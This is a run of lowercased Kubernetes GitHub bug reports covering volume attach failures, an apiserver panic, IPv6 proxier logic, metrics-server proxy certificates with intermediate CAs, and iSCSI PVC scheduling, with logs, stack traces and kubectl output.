87451da9-eda3-44d9-922a-360e7192ee7b\r   33m           33m     1       attachdetach            warning failedmount     failed to attach volume \ pvc-c65f8d2a-9276-11e7-b056-0621e721e9e2\  on node \ ip-172-20-55-145.us-west-2.compute.internal\  with: error attaching ebs volume \ vol-02041c953d9f93729\  to instance \ i-0b853c2c7596404e8\ : volumeinuse: vol-02041c953d9f93729 is already attached to an instance\r                 status code: 400, request id: eca5ca9f-a99e-4e86-a147-6eca3459155a\r   31m           31m     1       attachdetach                                                                                                    warning failedmount      events with common reason combined \r   34m           29m     3       kubelet, ip-172-20-55-145.us-west-2.compute.internal                                                            warning failedsync      error syncing pod, skipping: timeout expired waiting for volumes to attach/mount for pod \ prometheus\ /\ prometheus-prometheus-server-3601779038-frqrc\ . list of unattached/unmounted volumes= storage-volume \r   34m           29m     3       kubelet, ip-172-20-55-145.us-west-2.compute.internal                                                            warning failedmount     unable to mount volumes for pod \ prometheus-prometheus-server-3601779038-frqrc_prometheus 4c4e140d-a2ce-11e7-8ccb-0a0101eb1060 \ : timeout expired waiting for volumes to attach/mount for pod \ prometheus\ /\ prometheus-prometheus-server-3601779038-frqrc\ . list of unattached/unmounted volumes= storage-volume \r   27m           27m     1       kubelet, ip-172-20-55-145.us-west-2.compute.internal    spec.containers{prometheus-server}                      normal  pulling         pulling image \ prom/prometheus:v1.5.2\ \r   27m           27m     1       kubelet, ip-172-20-55-145.us-west-2.compute.internal    spec.containers{prometheus-server}                      normal  pulled          successfully pulled image \ prom/prometheus:v1.5.2\ \r   27m           27m     1       kubelet, ip-172-20-55-145.us-west-2.compute.internal    spec.containers{prometheus-server}                      normal  created         created container with id b45ed5fe9d9e8c49af9fced831e91610c672b3df40e031428163588a6b613f20\r   27m           27m     1       kubelet, ip-172-20-55-145.us-west-2.compute.internal    spec.containers{prometheus-server}                      normal  started         started container with id b45ed5fe9d9e8c49af9fced831e91610c672b3df40e031428163588a6b613f20\r   27m           27m     1       kubelet, ip-172-20-55-145.us-west-2.compute.internal    spec.containers{sleep}                                  normal  pulling         pulling image \ debian:jessie\ \r   27m           27m     1       kubelet, ip-172-20-55-145.us-west-2.compute.internal    spec.containers{sleep}                                  normal  pulled          successfully pulled image \ debian:jessie\ \r   27m           27m     1       kubelet, ip-172-20-55-145.us-west-2.compute.internal    spec.containers{sleep}                                  normal  created         created container with id 6750e9bed206ac5eff905806824ff84dee1de19ec3a149700d5856282154af02\r   27m           27m     1       kubelet, ip-172-20-55-145.us-west-2.compute.internal    spec.containers{sleep}                                  normal  started         started container with id 6750e9bed206ac5eff905806824ff84dee1de19ec3a149700d5856282154af02\r   27m           27m     1       kubelet, ip-172-20-55-145.us-west-2.compute.internal    spec.containers{prometheus-server-configmap-reload}     normal  pulling         pulling image \ jimmidyson/configmap-reload:v0.1\ \r   27m           27m     1       kubelet, ip-172-20-55-145.us-west-2.compute.internal    spec.containers{prometheus-server-configmap-reload}     normal  pulled          successfully pulled image \ jimmidyson/configmap-reload:v0.1\ \r   27m           27m     1       kubelet, ip-172-20-55-145.us-west-2.compute.internal    spec.containers{prometheus-server-configmap-reload}     normal  created         created container with id da7edc2704876e5541ef7b9b8195754e90419e06cc8614609794997940ade27a\r   27m           27m     1       kubelet, ip-172-20-55-145.us-west-2.compute.internal    spec.containers{prometheus-server-configmap-reload}     normal  started         started container with id da7edc2704876e5541ef7b9b8195754e90419e06cc8614609794997940ade27a\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r \r   what happened  :\r \r there is a bug in ipv6, see:\r \r https://github.com/kubernetes/kubernetes/blob/master/pkg/proxy/iptables/proxier.go l1346\r \r https://github.com/kubernetes/kubernetes/blob/master/pkg/proxy/ipvs/proxier.go l1157\r \r   what you expected to happen  :\r \r the judgement logic should be:\r \r    \r isipv6 := svcinfo.clusterip.to4   == nil\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  /area ipv6\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r kubectl version：\r    \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.4\ ,gitcommit:\ 7243c69eb523aa4377bce883e7c0dd76b84709a1\ , gittreestate:\ clean\ , builddate:\ 2017-03-07t23:53:09z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ };\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t00:52:01z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r environment:\r   cloud server：two nodes:10.9.81.28,10.9.186.111\r   os: centos linux release 7.2.1511  core \r   kernel :3.10.0-327.22.2.el7.x86_64\r   docker version: \r    \r kernel version:\t\t3.10.0-327.22.2.el7.x86_64\r  os image:\t\t\tcentos linux 7  core \r  operating system:\t\tlinux\r  architecture:\t\t\tamd64\r  container runtime version:\tdocker://17.4.0-ce\r  kubelet version:\t\tv1.5.4\r  kube-proxy version:\t\tv1.5.4\r    \r what happened:\r in my appication,i need to use  kubectl exec  to execute some script in pods.and i also need these operatiosn in parallel.what worths mentioning is i add a 'delete' operation when a pod has already existed for 5 minutes.\r just as the above operation goes in my kubernetes cluster,i got erros  error from server: error dialing backend: dial tcp 10.9.186.111:10250: getsockopt: connection refused soemtimes.this error just occurs soemtimes as if when too many parallel operations,i am just not sure.\r it seems that the cluster runs well, pods and service of kube-system are runnning normally\r  39026\r @kubernetes/sig-cluster ops-bugs

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r > \r  >  \r \r   what happened  :\r apiserver panic'd on get /api/v1/endpoints\r    \r i1123 07:12:56.702335       1 wrap.go:42  get /api/v1/services?resourceversion=0:  37.619665188s  200   hyperkube/v1.8.2  linux/amd64  kubernetes/ad4d771  10.29.97.1:58748 \r e1123 07:12:56.702458       1 runtime.go:66  observed a panic: &errors.errorstring{s:\ kill connection/stream\ }  kill connection/stream \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:72\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:65\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:51\r /usr/local/go/src/runtime/asm_amd64.s:514\r /usr/local/go/src/runtime/panic.go:489\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go:230\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go:114\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/requestinfo.go:45\r /usr/local/go/src/net/http/server.go:1942\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/request/requestcontext.go:110\r /usr/local/go/src/net/http/server.go:1942\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/wrap.go:41\r /usr/local/go/src/net/http/server.go:1942\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/handler.go:198\r /usr/local/go/src/net/http/server.go:2568\r /usr/local/go/src/net/http/server.go:3088\r <autogenerated>:312\r /usr/local/go/src/net/http/h2_bundle.go:4331\r /usr/local/go/src/net/http/h2_bundle.go:4611\r /usr/local/go/src/runtime/asm_amd64.s:2197\r e1123 07:12:56.702846       1 wrap.go:34  apiserver panic'd on get /api/v1/endpoints?resourceversion=0: kill connection/stream\r goroutine 17455  running :\r runtime/debug.stack 0x9afdec0, 0xc4296f72d0, 0x49e85e1 \r \t/usr/local/go/src/runtime/debug/stack.go:24 +0x79\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.withpanicrecovery.func1.1 0x3f93140, 0xc420367fe0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/wrap.go:34 +0x74\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime.handlecrash 0xc5912dfcd8, 0x1, 0x1 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:54 +0xe5\r panic 0x3f93140, 0xc420367fe0 \r \t/usr/local/go/src/runtime/panic.go:489 +0x2cf\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.  basetimeoutwriter .timeout 0xc4251608a0, 0xc433f9eab0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go:230 +0x182\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.  timeouthandler .servehttp 0xc42c138fe0, 0x9afdec0, 0xc4296f72d0, 0xc433863400 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go:114 +0x28c\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.withrequestinfo.func1 0x9afdec0, 0xc4296f72d0, 0xc433863400 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/requestinfo.go:45 +0x219\r net/http.handlerfunc.servehttp 0xc428707540, 0x9afdec0, 0xc4296f72d0, 0xc433863400 \r \t/usr/local/go/src/net/http/server.go:1942 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/request.withrequestcontext.func1 0x9afdec0, 0xc4296f72d0, 0xc433863400 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/request/requestcontext.go:110 +0xef\r net/http.handlerfunc.servehttp 0xc42c139000, 0x9afdec0, 0xc4296f72d0, 0xc433863400 \r \t/usr/local/go/src/net/http/server.go:1942 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.withpanicrecovery.func1 0x9afdec0, 0xc4296f72d0, 0xc433863400 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/wrap.go:41 +0x11b\r net/http.handlerfunc.servehttp 0xc42c139020, 0x9aff0c0, 0xc4362a0170, 0xc433863400 \r \t/usr/local/go/src/net/http/server.go:1942 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.  apiserverhandler .servehttp 0xc42f4435f0, 0x9aff0c0, 0xc4362a0170, 0xc433863400 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/handler.go:198 +0x51\r net/http.serverhandler.servehttp 0xc435f9a370, 0x9aff0c0, 0xc4362a0170, 0xc433863400 \r \t/usr/local/go/src/net/http/server.go:2568 +0x92\r net/http.initnpnrequest.servehttp 0xc4348b1500, 0xc435f9a370, 0x9aff0c0, 0xc4362a0170, 0xc433863400 \r \t/usr/local/go/src/net/http/server.go:3088 +0x93\r net/http.  initnpnrequest .servehttp 0xc42bf45530, 0x9aff0c0, 0xc4362a0170, 0xc433863400 \r \t<autogenerated>:312 +0x74\r net/http. handler .servehttp-fm 0x9aff0c0, 0xc4362a0170, 0xc433863400 \r \t/usr/local/go/src/net/http/h2_bundle.go:4331 +0x4d\r net/http.  http2serverconn .runhandler 0xc4257a1c00, 0xc4362a0170, 0xc433863400, 0xc429ab1120 \r \t/usr/local/go/src/net/http/h2_bundle.go:4611 +0x89\r created by net/http.  http2serverconn .processheaders\r \t/usr/local/go/src/net/http/h2_bundle.go:4343 +0x4ac\r \r i1123 07:12:56.703041       1 logs.go:41  http2: panic serving 10.29.97.1:58748: kill connection/stream\r goroutine 17455  running :\r net/http.  http2serverconn .runhandler.func1 0xc4362a0170, 0xc5912dffaf, 0xc4257a1c00 \r \t/usr/local/go/src/net/http/h2_bundle.go:4604 +0x190\r panic 0x3f93140, 0xc420367fe0 \r \t/usr/local/go/src/runtime/panic.go:489 +0x2cf\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime.handlecrash 0xc5912dfcd8, 0x1, 0x1 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:58 +0x126\r panic 0x3f93140, 0xc420367fe0 \r \t/usr/local/go/src/runtime/panic.go:489 +0x2cf\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.  basetimeoutwriter .timeout 0xc4251608a0, 0xc433f9eab0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go:230 +0x182\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.  timeouthandler .servehttp 0xc42c138fe0, 0x9afdec0, 0xc4296f72d0, 0xc433863400 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go:114 +0x28c\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.withrequestinfo.func1 0x9afdec0, 0xc4296f72d0, 0xc433863400 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/requestinfo.go:45 +0x219\r net/http.handlerfunc.servehttp 0xc428707540, 0x9afdec0, 0xc4296f72d0, 0xc433863400 \r \t/usr/local/go/src/net/http/server.go:1942 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/request.withrequestcontext.func1 0x9afdec0, 0xc4296f72d0, 0xc433863400 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/request/requestcontext.go:110 +0xef\r net/http.handlerfunc.servehttp 0xc42c139000, 0x9afdec0, 0xc4296f72d0, 0xc433863400 \r \t/usr/local/go/src/net/http/server.go:1942 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.withpanicrecovery.func1 0x9afdec0, 0xc4296f72d0, 0xc433863400 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/wrap.go:41 +0x11b\r net/http.handlerfunc.servehttp 0xc42c139020, 0x9aff0c0, 0xc4362a0170, 0xc433863400 \r \t/usr/local/go/src/net/http/server.go:1942 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.  apiserverhandler .servehttp 0xc42f4435f0, 0x9aff0c0, 0xc4362a0170, 0xc433863400 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/handler.go:198 +0x51\r net/http.serverhandler.servehttp 0xc435f9a370, 0x9aff0c0, 0xc4362a0170, 0xc433863400 \r \t/usr/local/go/src/net/http/server.go:2568 +0x92\r net/http.initnpnrequest.servehttp 0xc4348b1500, 0xc435f9a370, 0x9aff0c0, 0xc4362a0170, 0xc433863400 \r \t/usr/local/go/src/net/http/server.go:3088 +0x93\r net/http.  initnpnrequest .servehttp 0xc42bf45530, 0x9aff0c0, 0xc4362a0170, 0xc433863400 \r \t<autogenerated>:312 +0x74\r net/http. handler .servehttp-fm 0x9aff0c0, 0xc4362a0170, 0xc433863400 \r \t/usr/local/go/src/net/http/h2_bundle.go:4331 +0x4d\r net/http.  http2serverconn .runhandler 0xc4257a1c00, 0xc4362a0170, 0xc433863400, 0xc429ab1120 \r \t/usr/local/go/src/net/http/h2_bundle.go:4611 +0x89\r created by net/http.  http2serverconn .processheaders\r \t/usr/local/go/src/net/http/h2_bundle.go:4343 +0x4ac\r    \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r here is my apiserver startup parameters:\r    \r /hyperkube apiserver --secure-port=8001 --bind-address=0.0.0.0 --advertise-address=10.29.67.72 --insecure-port=8888 --insecure-bind-address=127.0.0.1 --etcd-servers=https://10.29.67.72:4001 --etcd-cafile=/etc/cfc/conf/etcd/ca.pem --etcd-certfile=/etc/cfc/conf/etcd/client.pem --etcd-keyfile=/etc/cfc/conf/etcd/client-key.pem --runtime-config=batch/v2alpha1,extensions/v1beta1=true,extensions/v1beta1/podsecuritypolicy=true,admissionregistration.k8s.io/v1alpha1 --admission-control=initializers,namespacelifecycle,limitranger,serviceaccount,defaultstorageclass,podsecuritypolicy,defaulttolerationseconds,resourcequota --oidc-issuer-url=https://mycluster.icp:9443/oidc/endpoint/op --oidc-client-id=50c8d17edeb4949f3caefc1404c146d6 --oidc-ca-file=/etc/cfc/conf/platformauth-ca.crt --max-requests-inflight=1000 --max-mutating-requests-inflight=1000 --deserialization-cache-size=1000 --target-ram-mb=10000 --feature-gates=persistentlocalvolumes=true --oidc-groups-claim=sub --tls-cert-file=/etc/cfc/conf/server.cert --tls-private-key-file=/etc/cfc/conf/server.key --kubelet-client-certificate=/etc/cfc/conf/kubelet-client.crt --kubelet-client-key=/etc/cfc/conf/kubelet-client.key --client-ca-file=/etc/cfc/conf/ca.crt --service-account-key-file=/etc/cfc/conf/server.key --authorization-mode=rbac --min-request-timeout=300 --allow-privileged --requestheader-client-ca-file=/etc/cfc/conf/front/front-proxy-ca.pem --requestheader-username-headers=x-remote-user --requestheader-group-headers=x-remote-group --requestheader-allowed-names=mycluster.icp --requestheader-extra-headers-prefix=x-remote-extra- --proxy-client-cert-file=/etc/cfc/conf/front/front-proxy-client.pem --proxy-client-key-file=/etc/cfc/conf/front/front-proxy-client-key.pem --v=2 --service-cluster-ip-range=10.0.0.1/24\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r ubuntu\r - kernel  e.g.  uname -a  :\r 4.4.0-93-generic\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r \r  @kubernetes/sig-scalability-bugs\r / umbrella issue:  56062\r \r   what happened  :\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability-stable1/523 failed with:\r    \r i0131 06:06:47.476  - e2e-scalability-stable1-minion\r w0131 06:26:52.654  failed to create firewall e2e-scalability-stable1-minion-e2e-scalability-stable1-nodeports in k8s-e2e-gci-gce-scale-1-4\r w0131 06:26:52.655  2018/01/31 06:26:52 util.go:157: step './hack/e2e-internal/e2e-up.sh' finished in 24m28.821059061s\r    \r \r   what you expected to happen  :\r \r at least the reason for the failure should be printed. the 20 minutes passing before the error suggest this is some kind of a timeout.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >   \r \r   what happened  :\r \r i tried to start my spring boot application that uses rabbitmq. a service called 'rabbitmq' is defined in the same cluster. when i start the app, the following error message is shown\r \r > 018-02-08t09:27:54.720079268z                            \r > 2018-02-08t09:27:54.720082335z application failed to start\r > 2018-02-08t09:27:54.720085119z                            \r > 2018-02-08t09:27:54.720087815z \r > 2018-02-08t09:27:54.72009075z description:\r > 2018-02-08t09:27:54.720093551z \r > 2018-02-08t09:27:54.720096262z binding to target  bindable@4de4b452 type = java.lang.integer, value = 'provided', annotations = array<annotation>  empty    failed:\r > 2018-02-08t09:27:54.720099528z \r > 2018-02-08t09:27:54.720102207z     property: rabbitmq.port\r > 2018-02-08t09:27:54.720104855z     value: tcp://192.168.17.112:5672\r > 2018-02-08t09:27:54.720107774z     origin: system environment property \ rabbitmq_port\ \r > 2018-02-08t09:27:54.720110704z     reason: failed to convert from type  java.lang.string  to type  java.lang.integer  for value 'tcp://192.168.17.112:5672'; nested exception is org.springframework.beans.typemismatchexception: failed to convert value of type 'java.lang.string' to required type 'java.lang.integer'; nested exception is java.lang.numberformatexception: for input string: \ tcp://192.168.17.112:5672\ \r \r so  rabbitmq_port=tcp://192.168.17.112:5672 .\r see https://github.com/kubernetes/kubernetes/blob/dd9981d038012c120525c9e6df98b3beb3ef19e1/pkg/kubelet/envvars/envvars.go l89.\r \r   what you expected to happen  :\r i expect that  rabbitmq_port=5672 .  \r this naming is confusing right now.  some lines later in the function  makelinkvariables   the postfix '_port' is used to mean just the port, so this is mixed up. \r \r   how to reproduce it  as minimally and precisely as possible   :\r not relevant. this is by design.   makelinkvariables  function does this on purpose.\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r after configuring the aggregation layer with proxy certificates signed with a newly generated ca and deploying  metrics-server  https://github.com/kubernetes-incubator/metrics-server  to the cluster, requests to the  metrics api were not properly authenticated. the proxy certificates used here were signed by an intermediate ca, which itself was signed by the root aggregation ca. \r    \r kubectl get --raw /apis/metrics.k8s.io/v1beta1/nodes --v=12\r i0301 14:31:20.860224   57579 loader.go:357  config loaded from file .kube/config\r i0301 14:31:20.861784   57579 round_trippers.go:417  curl -k -v -xget  -h \ accept: application/json,  / \  -h \ user-agent: kubectl/v1.9.2  darwin/amd64  kubernetes/5fa2db2\  -h \ authorization: bearer my-bearer-token\  https://kube.testing/apis/metrics.k8s.io/v1beta1/nodes\r i0301 14:31:21.176213   57579 round_trippers.go:436  get https://kube.testing/apis/metrics.k8s.io/v1beta1/nodes 403 forbidden in 314 milliseconds\r i0301 14:31:21.176249   57579 round_trippers.go:442  response headers:\r i0301 14:31:21.176261   57579 round_trippers.go:445      date: thu, 01 mar 2018 18:31:21 gmt\r i0301 14:31:21.176271   57579 round_trippers.go:445      x-content-type-options: nosniff\r i0301 14:31:21.176281   57579 round_trippers.go:445      content-length: 281\r i0301 14:31:21.176290   57579 round_trippers.go:445      content-type: application/json\r i0301 14:31:21.176981   57579 request.go:873  response body: {\ kind\ :\ status\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{},\ status\ :\ failure\ ,\ message\ :\ nodes.metrics.k8s.io is forbidden: user \\\ system:anonymous\\\  cannot list nodes.metrics.k8s.io at the cluster scope.\ ,\ reason\ :\ forbidden\ ,\ details\ :{\ group\ :\ metrics.k8s.io\ ,\ kind\ :\ nodes\ },\ code\ :403}\r i0301 14:31:21.179852   57579 helpers.go:201  server response object:  {\r   \ metadata\ : {},\r   \ status\ : \ failure\ ,\r   \ message\ : \ nodes.metrics.k8s.io is forbidden: user \\\ system:anonymous\\\  cannot list nodes.metrics.k8s.io at the cluster scope.\ ,\r   \ reason\ : \ forbidden\ ,\r   \ details\ : {\r     \ group\ : \ metrics.k8s.io\ ,\r     \ kind\ : \ nodes\ \r   },\r   \ code\ : 403\r } \r f0301 14:31:21.179892   57579 helpers.go:119  error from server  forbidden : nodes.metrics.k8s.io is forbidden: user \ system:anonymous\  cannot list nodes.metrics.k8s.io at the cluster scope.\r    \r \r after replacing the proxy certificates with new certificates signed directly by the root aggregation ca, requests were authenticated as expected.\r    \r kubectl get --raw /apis/metrics.k8s.io/v1beta1/nodes --v=12\r i0302 11:09:44.636147   72242 loader.go:357  config loaded from file .kube/config\r i0302 11:09:44.638336   72242 round_trippers.go:417  curl -k -v -xget  -h \ authorization: bearer my-bearer-token\  -h \ user-agent: kubectl/v1.9.2  darwin/amd64  kubernetes/5fa2db2\  -h \ accept: application/json,  / \  https://kube.testing/apis/metrics.k8s.io/v1beta1/nodes\r i0302 11:09:45.094767   72242 round_trippers.go:436  get https://kube.testing/apis/metrics.k8s.io/v1beta1/nodes 200 ok in 456 milliseconds\r i0302 11:09:45.094825   72242 round_trippers.go:442  response headers:\r i0302 11:09:45.094855   72242 round_trippers.go:445      content-type: application/json\r i0302 11:09:45.094872   72242 round_trippers.go:445      date: fri, 02 mar 2018 15:09:45 gmt\r i0302 11:09:45.094887   72242 round_trippers.go:445      content-length: 137\r {\ kind\ :\ nodemetricslist\ ,\ apiversion\ :\ metrics.k8s.io/v1beta1\ ,\ metadata\ :{\ selflink\ :\ /apis/metrics.k8s.io/v1beta1/nodes\ },\ items\ :  }\r    \r \r   what you expected to happen  :\r \r aggregation layer proxy authentication should work as long as the certificate supplied in the  --proxy-client-cert-file/--proxy-client-key-file  is signed by the certificate authority provided in  --requestheader-client-ca-file , regardless of whether that ca is a root or intermediate ca.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r use an intermediate ca instead of a root ca as the aggregation layer ca, and sign the proxy certificates with the intermediate ca. observe authentication failures on all aggregation api requests.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.2\ , gitcommit:\ 5fa2db2bd46ac79e5e00a4e6ed24191080aa463b\ , gittreestate:\ clean\ , builddate:\ 2018-01-18t10:09:24z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.2+coreos.0\ , gitcommit:\ b427929b2982726eeb64e985bc1ebb41aaa5e095\ , gittreestate:\ clean\ , builddate:\ 2018-01-18t22:56:14z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider: aws\r - os  e.g. from /etc/os-release : coreos 1632.3.0  ladybug \r - kernel  e.g.  uname -a  : 4.14.19-coreos\r - install tools: terraform\r

as a follow up issue for https://github.com/kubernetes/kubernetes/issues/60870\r \r now in older branches  1.8, and 1.7  it gets error while rebuilding stale kubetest from e2e.go\r    \r w0313 22:54:40.441  2018/03/13 22:54:40 e2e.go:151: the kubetest binary is older than 24h0m0s.\r w0313 22:54:40.441  2018/03/13 22:54:40 e2e.go:156: updating kubetest binary...\r w0313 22:55:17.326    k8s.io/test-infra/vendor/github.com/json-iterator/go\r w0313 22:55:17.326  ../../test-infra/vendor/github.com/json-iterator/go/config.go:107: undefined: sync.map\r w0313 22:55:27.407  2018/03/13 22:55:27 e2e.go:75: err: go get -u k8s.io/test-infra/kubetest: exit status 2\r w0313 22:55:27.407  exit status 1\r    \r which is caused by the go version difference between 1.8 and master\r \r i'll try to move those logic to kubetest to unblock 1.8 branch\r \r  /   /assign\r \r cc @cblecker @jpbetz @bentheelder @shyamjvs

 \r       what happened  :\r \r a pod created by a cronjob and an existing pod which shared the same iscsi pvc did not get scheduled on the same worker node. because iscsi can only be mounted read/write to one worker node, the pod scheduled by the cronjob became stuck in containercreating.\r \r       what you expected to happen  :\r \r because the two pods shared the same iscsi pvc, the scheduler should have scheduled them on the same worker node to avoid conflicts. from  oracle's documentation...  https://docs.oracle.com/cd/e52668_01/e88884/html/kubernetes-gsg-persistentvolume-iscsi.html \r \r > note that with iscsi, support for both read and write operations limit you to hosting all of your pods on a single node.   the scheduler automatically ensures that pods with the same persistentvolumeclaim run on the same worker node.  \r \r       how to reproduce it  as minimally and precisely as possible   :\r >before\r    \r $ kubectl get pods -n debian-mirror -o wide\r name      ready     status    restarts   age       ip          node\r web-pod   1/1       running   0          12d       10.2.0.86   kwork1.<redacted>\r \r $ kubectl get cronjobs -n debian-mirror\r name                    schedule       suspend   active    last schedule   age\r debian-mirror-updater    /15           false     0         <none>          59s\r    \r >after  pods on different nodes, stuck in containercreating \r    \r $ kubectl get pods -n debian-mirror -o wide\r name                                     ready     status              restarts   age       ip          node\r debian-mirror-updater-1533744000-8qqj4   0/1       containercreating   0          1m        <none>      kwork3.<redacted>\r web-pod                                  1/1       running             0          12d       10.2.0.86   kwork1.<redacted>\r    \r >sharing the same pvc\r    \r $ kubectl describe pod/web-pod -n debian-mirror | grep volumes -a 4\r volumes:\r   debian-mirror-data:\r     type:       persistentvolumeclaim  a reference to a persistentvolumeclaim in the same namespace \r     claimname:  debian-mirror-pvc\r     readonly:   false\r $ kubectl describe pod/debian-mirror-updater-1533744000-8qqj4 -n debian-mirror | grep volumes -a 4\r volumes:\r   debian-mirror-data:\r     type:       persistentvolumeclaim  a 